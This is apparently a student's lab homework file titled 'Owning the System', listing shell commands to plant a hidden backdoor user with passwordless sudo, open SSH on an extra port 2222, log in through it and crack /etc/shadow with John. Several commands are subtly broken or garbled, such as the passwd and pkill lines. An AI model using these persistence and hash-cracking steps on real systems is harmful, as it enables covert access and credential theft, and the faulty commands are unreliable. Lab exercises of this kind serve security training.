

Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- `useradd -M sysd`

2. Give your secret user a password:

- `sudo passwd sysd p$ssw0rd`

3. Give your secret user a system UID < 1000:

- `sudo usermod -u 900 sysd`

4. Give your secret user the same GID:

- `usermod -g 900 sysd`

5. Give your secret user full `sudo` access without the need for a password:

- `%Mybackdoorgroup ALL=(ALL) NOPASSWD: ALL`

6. Test that `sudo` access works without your password:

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```bash
sudo -l
sudo mkdir secertfiles
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Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

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```bash
Port 22
Port 2222
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Step 3: Testing Your Configuration Update

1. Restart the SSH service:

- `sudo service ssh restart`

2. Exit the `root` account:

- `pkill -KILL -u root , sysadmin:~\ $ logout`

3. SSH to the target machine using your `sysd` account and port `2222`:

- `ssh sysd@192.168.6.105 -p 2222`

4. Use `sudo` to switch to the root user:

- ``sudo su`

****Step 4: Crack All the Passwords****

1. SSH back to the system using your `sysd` account and port `2222`:

- `` ssh sysd@192.168.6.105 -p 2222`

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- ``sudo john /etc/shadow`

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